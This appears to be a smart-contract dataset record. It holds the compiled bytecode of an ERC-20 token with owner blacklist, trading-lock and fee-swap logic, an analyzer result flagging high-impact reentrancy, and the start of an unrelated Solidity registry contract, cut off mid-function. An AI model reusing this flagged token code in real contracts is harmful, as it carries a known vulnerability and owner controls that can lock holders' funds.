b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600681526020017f446976696e650000000000000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f446976696e650000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220355d732cf2768273e70d9c461e36ca88faa4732a007ce56f0bc739f8b89ba64564736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,328 |
0xee1520F6AaBf3F5F125F2A4c096a0DE083b82Fc9
|
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IContractRegistry {
event ContractAddressUpdated(string contractName, address addr, bool managedContract);
event ManagerChanged(string role, address newManager);
event ContractRegistryUpdated(address newContractRegistry);
/*
* External functions
*/
/// @dev updates the contracts address and emits a corresponding event
/// managedContract indicates whether the contract is managed by the registry and notified on changes
function setContract(string calldata contractName, address addr, bool managedContract) external /* onlyAdmin */;
/// @dev returns the current address of the given contracts
function getContract(string calldata contractName) external view returns (address);
/// @dev returns the list of contract addresses managed by the registry
function getManagedContracts() external view returns (address[] memory);
function setManager(string calldata role, address manager) external /* onlyAdmin */;
function getManager(string calldata role) external view returns (address);
function lockContracts() external /* onlyAdmin */;
function unlockContracts() external /* onlyAdmin */;
function setNewContractRegistry(IContractRegistry newRegistry) external /* onlyAdmin */;
function getPreviousContractRegistry() external view returns (address);
}
interface ILockable {
event Locked();
event Unlocked();
function lock() external /* onlyLockOwner */;
function unlock() external /* onlyLockOwner */;
function isLocked() view external returns (bool);
}
interface IProtocol {
event ProtocolVersionChanged(string deploymentSubset, uint256 currentVersion, uint256 nextVersion, uint256 fromTimestamp);
/*
* External functions
*/
/// @dev returns true if the given deployment subset exists (i.e - is registered with a protocol version)
function deploymentSubsetExists(string calldata deploymentSubset) external view returns (bool);
/// @dev returns the current protocol version for the given deployment subset.
function getProtocolVersion(string calldata deploymentSubset) external view returns (uint256);
/*
* Governance functions
*/
/// @dev create a new deployment subset.
function createDeploymentSubset(string calldata deploymentSubset, uint256 initialProtocolVersion) external /* onlyFunctionalManager */;
/// @dev schedules a protocol version upgrade for the given deployment subset.
function setProtocolVersion(string calldata deploymentSubset, uint256 nextVersion, uint256 fromTimestamp) external /* onlyFunctionalManager */;
}
contract Initializable {
address private _initializationAdmin;
event InitializationComplete();
constructor() public{
_initializationAdmin = msg.sender;
}
modifier onlyInitializationAdmin() {
require(msg.sender == initializationAdmin(), "sender is not the initialization admin");
_;
}
/*
* External functions
*/
function initializationAdmin() public view returns (address) {
return _initializationAdmin;
}
function initializationComplete() external onlyInitializationAdmin {
_initializationAdmin = address(0);
emit InitializationComplete();
}
function isInitializationComplete() public view returns (bool) {
return _initializationAdmin == address(0);
}
}
contract WithClaimableRegistryManagement is Context {
address private _registryAdmin;
address private _pendingRegistryAdmin;
event RegistryManagementTransferred(address indexed previousRegistryAdmin, address indexed newRegistryAdmin);
/**
* @dev Initializes the contract setting the deployer as the initial registryRegistryAdmin.
*/
constructor () internal {
address msgSender = _msgSender();
_registryAdmin = msgSender;
emit RegistryManagementTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current registryAdmin.
*/
function registryAdmin() public view returns (address) {
return _registryAdmin;
}
/**
* @dev Throws if called by any account other than the registryAdmin.
*/
modifier onlyRegistryAdmin() {
require(isRegistryAdmin(), "WithClaimableRegistryManagement: caller is not the registryAdmin");
_;
}
/**
* @dev Returns true if the caller is the current registryAdmin.
*/
function isRegistryAdmin() public view returns (bool) {
return _msgSender() == _registryAdmin;
}
/**
* @dev Leaves the contract without registryAdmin. It will not be possible to call
* `onlyManager` functions anymore. Can only be called by the current registryAdmin.
*
* NOTE: Renouncing registryManagement will leave the contract without an registryAdmin,
* thereby removing any functionality that is only available to the registryAdmin.
*/
function renounceRegistryManagement() public onlyRegistryAdmin {
